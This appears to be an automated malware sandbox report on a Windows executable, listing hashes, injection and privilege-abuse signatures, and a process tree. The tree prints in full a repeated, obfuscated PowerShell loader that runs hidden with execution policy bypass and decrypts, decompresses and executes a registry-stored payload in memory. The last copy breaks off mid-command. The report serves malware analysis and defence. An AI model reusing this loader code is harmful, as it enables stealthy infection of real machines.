266aa1bf199f3bd82bc8e708c177aeef4808e31c439f87d69b68efb8e07da996

Analysis

max time kernel
12s
max time network
72s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
11/01/2023, 04:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b85b35b1236f1931f9b1fa47425e796e.exe
Size 20.0MB
Sample230111-fa43jsec4v
SHA256 266aa1bf199f3bd82bc8e708c177aeef4808e31c439f87d69b68efb8e07da996
MD5 b85b35b1236f1931f9b1fa47425e796e
SHA1 713cb9730056a6e0dcf1237c5bbc63ef38cfc308
SHA512 ee5c4e48fcbed982b588ddd779b4892a0ab83f9371c3e59a2e620bd4b375e2c8462fe4774bffbafe03d78eac76b1b944ace151526bf9809a1a7e8f963626918e
SSDEEP 196608:+k/QutOxtP8yr6oKo/hYNiJId8OEoWz8w7O79T6jRBJ06e8anYq5VYvoLnu493xp:x6PI1o/GN068OTiT7FRU6gbVbnz3vM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1800 created 604	1800	b85b35b1236f1931f9b1fa47425e796e.exe	5
PID 112 created 604	112	$sxr-powershell.exe	5

Executes dropped EXE 2 IoCs

pid	Process
112	$sxr-powershell.exe
2200	$sxr-powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1800 set thread context of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 112 set thread context of 4612	112	$sxr-powershell.exe	81

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	b85b35b1236f1931f9b1fa47425e796e.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	b85b35b1236f1931f9b1fa47425e796e.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1800	b85b35b1236f1931f9b1fa47425e796e.exe
3796	dllhost.exe
3796	dllhost.exe
3796	dllhost.exe
3796	dllhost.exe
1800	b85b35b1236f1931f9b1fa47425e796e.exe
1800	b85b35b1236f1931f9b1fa47425e796e.exe
112	$sxr-powershell.exe
112	$sxr-powershell.exe
112	$sxr-powershell.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
112	$sxr-powershell.exe
112	$sxr-powershell.exe
2200	$sxr-powershell.exe
2200	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1800	b85b35b1236f1931f9b1fa47425e796e.exe
Token: SeDebugPrivilege	1800	b85b35b1236f1931f9b1fa47425e796e.exe
Token: SeDebugPrivilege	3796	dllhost.exe
Token: SeDebugPrivilege	112	$sxr-powershell.exe
Token: SeDebugPrivilege	112	$sxr-powershell.exe
Token: SeDebugPrivilege	4612	dllhost.exe
Token: SeDebugPrivilege	2200	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 3796	1800	b85b35b1236f1931f9b1fa47425e796e.exe	79
PID 1800 wrote to memory of 112	1800	b85b35b1236f1931f9b1fa47425e796e.exe	80
PID 1800 wrote to memory of 112	1800	b85b35b1236f1931f9b1fa47425e796e.exe	80
PID 112 wrote to memory of 4612	112	$sxr-powershell.exe	81
PID 112 wrote to memory of 4612	112	$sxr-powershell.exe	81
PID 112 wrote to memory of 4612	112	$sxr-powershell.exe	81
PID 112 wrote to memory of 4612	112	$sxr-powershell.exe	81
PID 112 wrote to memory of 4612	112	$sxr-powershell.exe	81
PID 112 wrote to memory of 4612	112	$sxr-powershell.exe	81
PID 112 wrote to memory of 4612	112	$sxr-powershell.exe	81
PID 112 wrote to memory of 2200	112	$sxr-powershell.exe	84
PID 112 wrote to memory of 2200	112	$sxr-powershell.exe	84

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:604
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{56415aa1-6dec-4fca-8640-e4b243149142}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3796
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d91ea324-0fb6-4e21-ab51-7c168cafe630}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4612
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0d05916a-90bd-4ccf-b8bd-ad6fb81107db}
  2⤵
  PID:2800

C:\Users\Admin\AppData\Local\Temp\b85b35b1236f1931f9b1fa47425e796e.exe
"C:\Users\Admin\AppData\Local\Temp\b85b35b1236f1931f9b1fa47425e796e.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\$sxr-powershell.exe
  "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:112
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2200
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = 